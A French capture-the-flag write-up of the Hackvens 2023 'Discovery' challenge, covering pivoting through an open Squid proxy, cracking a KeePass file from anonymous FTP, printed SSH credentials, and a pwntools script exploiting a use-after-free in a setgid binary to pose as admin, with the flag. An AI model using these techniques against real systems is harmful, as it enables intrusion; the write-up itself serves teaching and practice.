[Hackvens 2023][Write Up – Pwn] Discovery

Enoncé


52.47.125.205


 

Reconnaissance / Obtention d’un shell

Cette fois-ci, une IP nous est donnée.
Après un scan, on remarque que le port 3128 est ouvert.
Il s’agit d’un service squid-http qui agit comme un proxy web.

Un squid proxy, tout ce qu'il y a de plus classique

Un squid proxy, tout ce qu’il y a de plus classique

 

Après avoir ajouté « http 52.47.125.205 3128 » dans le fichier « /etc/proxychains.conf », il est possible d’accéder au réseau interne au travers de ce proxy, et de relancer le scan, sur 127.0.0.1, en ajoutant proxychains devant nos commandes.
On remarque alors 3 ports ouverts:

  • 21
  • 22
  • 3128

Le FTP autorise l’authentification anonyme, et nous permet d’obtenir le fichier db, qui est un fichier keepass

file db

file db

En tentant un bruteforce avec rockyou, on découvre le mot de passe: ‘pescado’.

Pétage de hash en règle

Pétage de hash en règle

 

Ce qui nous permet d’obtenir les identifiants ssh:
boissonchaude:npjYSaFE0ysf5pjMW960

 

Le contenu du keepass

Le contenu du keepass

 

Allez boom, un shell user

Allez boom, un shell user

 

Elévation de privilèges

Dans le home de boissonchaude, on remarque un binaire setguid:

Oh, un binaire à pwn !

Oh, un binaire à pwn !

Le binaire « program » qui est fourni est un exécutable linux x86-64.

file program

file program

En termes de protections:

  • Partial RELRO: La Global Offset Table (GOT) est réinscriptible.
  • No canary: Pas de protections contre les buffers overflow
  • NX: La stack n’est pas exécutable
  • PIE: Les adresses du programme seront aléatoires (à un offset près)

 

checksec program

checksec program

Reverse

Il s’agit d’un système de messagerie, qui propose plusieurs choix:

 

lancement du binaire

lancement du binaire

 

  • Create a new message
Create a new message

Create a new message

Le programme lit 0x100 bytes depuis l’entrée stdin (entrée utilisateur), alloue un buffer « message » de la taille lue avec malloc, puis les y copie.
L’adresse du buffer est stockée dans rbp-0x10.

  • Delete unsent message
Delete unseen message

Delete unseen message

Le programme libère le buffer « message ». L’adresse du buffer n’est pas remise à 0.

  • Register your username
Register your username

Register your username

Le programme vérifie l’adresse pointée par rbp-8. Il s’agit d’un buffer associé au username.
S’il est déjà alloué, il le libère.
Ensuite, il vérifie que le nom d’utilisateur n’est pas admin.

Vérification du username

Vérification du username

Si c’est bien le cas, il alloue une structure S de taille 0x10 (16).
Ensuite, le programme alloue une nouvelle structure de la taille du username, et l’y copie avec strcpy.
Les premiers 8 bytes de S contiennent un pointeur vers le username, et les 2 bytes d’après contiennent un 0. Au vu de la fonction « User status », ces deux bytes correspondent à l’état du compte (0 => inactif, 1=> actif).
Enfin, l’adresse de username nous est affichée avec un printf.

  • Delete Username
Delete username

Delete username

 

Le programme vérifie que l’adresse pointée par rbp-8 (le buffer username) n’est pas vide. Si elle est allouée, il va libérer l’adresse de la chaine de caractère du username, puis la structure username. L’adresse du buffer n’est pas remise à 0.

  • Read the flag
Read the flag

Read the flag

Le programme vérifie que le username est bien admin. Si oui, il affiche le contenu du fichier ‘/flag.txt’.

  • User status
User flag

User flag

Le programme affiche le username enregistré, ainsi que son activité.

  • Exit

Quitte le programme. On a pas vraiment besoin d’un screen là 🙂

La vulnérabilité

Le problème ici, est une vulnérabilité Use After Free. En effet, il n’y a pas de vérification sur le fait que le username soit alloué où non. En effet, le pointeur n’est jamais remis à 0.
Si génère une structure username, et qu’on la supprime ensuite, le pointeur vers cette structure reste présent, sans que le bloc ne soit alloué. Ainsi, il est possible d’écraser la structure associée en la réallouant, puis en y inscrivant les données voulues.

Libération du username, magnifiquement fait via Paint.Net :D

Libération du username, magnifiquement fait via Paint.Net 😀

  • Sur l’état 1, register username a été appelé et le username a été alloué (zone rouge).
  • Sur l’état 2, on delete username, mais le pointeur de username reste toujours présent (il n’est pas vidé).
  • Sur l’état 3, on alloue un message (zone jaune), qui va écraser la structure username, et qui nous permettra de créer un username personnalisé, en y inscrivant une adresse, puis un entier.

Exploitation

Voici une méthode pour devenir l’utilisateur admin:

On alloue un username, puis on le supprime. Supposons qu’il soit à l’adresse A. malloc a alloué puis libéré deux blocs de taille 0x20 (la structure username dans le bloc X , à l’adresse A, et la chaine de caractère dans le bloc Y, à l’adresse A+0x20).

Ensuite, on alloue un message, de la taille 0x20. Il sera mis à l’adresse A (car libérée en dernier). On pourra y écrire l’adresse du bloc Y (A+0x20), puis l’entier 1, pour mettre l’était à actif. En effet, on réécrase la structure username.

Ensuite, on alloue un message, de la taille 0x20. Il sera mis à l’adresse A+0x20 (car libérée en deuxième). On pourra y écrire admin, pour y forger un faux nom d’utilisateur.

Solve.py

from pwn import *

#Connexion ssh à distance
s = ssh(host='127.0.0.1',
    user='boissonchaude',
password='npjYSaFE0ysf5pjMW960',
port=22)

r = s.run(['/home/boissonchaude/program'])

#On alloue un username
r.recvuntil(b'Your choice: ')
print(r.sendline(b'3'))
r.recvuntil(b'Your username: ')
print(r.sendline(b'khacktus'))
data = r.recvuntil(b'Your choice: ')
addr = int(re.findall(b': ([0-9]*)\n', data)[0])
print("leaked addr: %08x"%addr)

#On supprime le username
r.sendline(b'4')
print(r.recvuntil(b'Your choice: '))

#On alloue un message par dessus le username
r.sendline(b'1')
print(r.recvuntil(b'Your message: '))
r.send(p64(addr+0x20)+p64(1))

#On alloue un bloc message avec le username 'admin'
print(r.recvuntil(b'Your choice: '))
r.sendline(b'1')
print(r.recvuntil(b'Your message: '))
r.send(b'admin')
print(r.recvuntil(b'Your choice: '))

r.interactive()

 

L'exploit en image :)

L’exploit en image 🙂

 

FLAG

HACKVENS{pr0xY_@Nd_l34k5_f0R_Th3_w1N!!@#}

BDENNEUINGÉNIEUR SÉCURITÉ
Yolo

Add a comment

*Please complete all fields correctly